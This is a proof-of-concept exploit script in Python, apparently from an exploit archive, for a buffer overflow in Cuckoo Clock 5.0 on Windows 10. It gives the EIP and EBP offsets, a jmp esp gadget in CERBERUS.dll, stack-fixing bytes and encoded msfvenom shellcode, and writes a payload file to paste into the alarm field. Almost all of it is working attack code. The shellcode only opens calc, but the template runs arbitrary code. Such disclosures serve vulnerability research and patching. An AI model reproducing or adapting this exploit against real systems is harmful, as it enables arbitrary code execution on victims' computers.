# Exploit Title: Cuckoo Clock 5.0 - Buffer Overflow
# Exploit Author: boku
# Date: 2020-02-14
# Vendor Homepage: https://en.softonic.com/author/pxcompany
# Software Link:   https://en.softonic.com/download/parallaxis-cuckoo-clock/windows/post-download
# Version:         5.0
# Tested On:       Windows 10 (32-bit)
# 
# Recreate:
#  1) Install & Open Cuckoo Clock v5.0
#  2) Right Click app icon (bottom right), click Alarms
#  3) Click the Add Button
#  4) Run Python script
#  5) Open generated poc.txt, then select-all & copy-all
#  6) Under Schedule, select-all in 'New Alarm' textbox, then paste buffer
#  7) Press Back Button and shellcode will execute

# EIP Overwrite at 260 Bytes
# Max Buffer space is 1287 bytes
# ESP points to payload at offset 264 bytes
# EBP overwrite at 256 bytes

# badChars  = '\x00\x0d'

try:
    ebpOffset = '\x41'*256
    ebp       = '\x42\x42\x42\x42'
    eip       = '\x16\x05\x03\x10' # 0x10030516 : jmp esp | ascii {PAGE_EXECUTE_READWRITE} [CERBERUS.dll] 
    # ASLR: False, Rebase: False, SafeSEH: False (C:\Program Files\Parallaxis Cuckoo Clock\CERBERUS.dll)
    # ESP points to payload at offset 264 bytes
    # 1019 bytes = Remaining Buffer Length
    fixStack  = '\x89\xE5'            # mov ebp,esp
    fixStack  += '\x83\xEC\x30'        # sub esp,byte +0x30
    # root@kali# msfvenom -p windows/exec CMD=calc -b '\x00\x0d' -f python -v shellcode
    # x86/shikata_ga_nai chosen with final size 216
    shellcode =  b""
    shellcode += b"\xdd\xc3\xbb\x9a\x4d\x57\xfa\xd9\x74\x24\xf4"
    shellcode += b"\x58\x33\xc9\xb1\x30\x83\xe8\xfc\x31\x58\x14"
    shellcode += b"\x03\x58\x8e\xaf\xa2\x06\x46\xad\x4d\xf7\x96"
    shellcode += b"\xd2\xc4\x12\xa7\xd2\xb3\x57\x97\xe2\xb0\x3a"
    shellcode += b"\x1b\x88\x95\xae\xa8\xfc\x31\xc0\x19\x4a\x64"
    shellcode += b"\xef\x9a\xe7\x54\x6e\x18\xfa\x88\x50\x21\x35"
    shellcode += b"\xdd\x91\x66\x28\x2c\xc3\x3f\x26\x83\xf4\x34"
    shellcode += b"\x72\x18\x7e\x06\x92\x18\x63\xde\x95\x09\x32"
    shellcode += b"\x55\xcc\x89\xb4\xba\x64\x80\xae\xdf\x41\x5a"
    shellcode += b"\x44\x2b\x3d\x5d\x8c\x62\xbe\xf2\xf1\x4b\x4d"
    shellcode += b"\x0a\x35\x6b\xae\x79\x4f\x88\x53\x7a\x94\xf3"
    shellcode += b"\x8f\x0f\x0f\x53\x5b\xb7\xeb\x62\x88\x2e\x7f"
    shellcode += b"\x68\x65\x24\x27\x6c\x78\xe9\x53\x88\xf1\x0c"
    shellcode += b"\xb4\x19\x41\x2b\x10\x42\x11\x52\x01\x2e\xf4"
    shellcode += b"\x6b\x51\x91\xa9\xc9\x19\x3f\xbd\x63\x40\x55"
    shellcode += b"\x40\xf1\xfe\x1b\x42\x09\x01\x0b\x2b\x38\x8a"
    shellcode += b"\xc4\x2c\xc5\x59\xa1\xc3\x8f\xc0\x83\x4b\x56"
    shellcode += b"\x91\x96\x11\x69\x4f\xd4\x2f\xea\x7a\xa4\xcb"
    shellcode += b"\xf2\x0e\xa1\x90\xb4\xe3\xdb\x89\x50\x04\x48"
    shellcode += b"\xa9\x70\x67\x0f\x39\x18\x68"
    Remainder  = '\x46'*(1287-len(ebpOffset+ebp+eip+fixStack+shellcode))
    payload    = ebpOffset+ebp+eip+fixStack+shellcode+Remainder
    File      = 'poc.txt'
    f         = open(File, 'w')
    f.write(payload)
    f.close()
    print File + " created successfully"
except:
    print File + ' failed to create'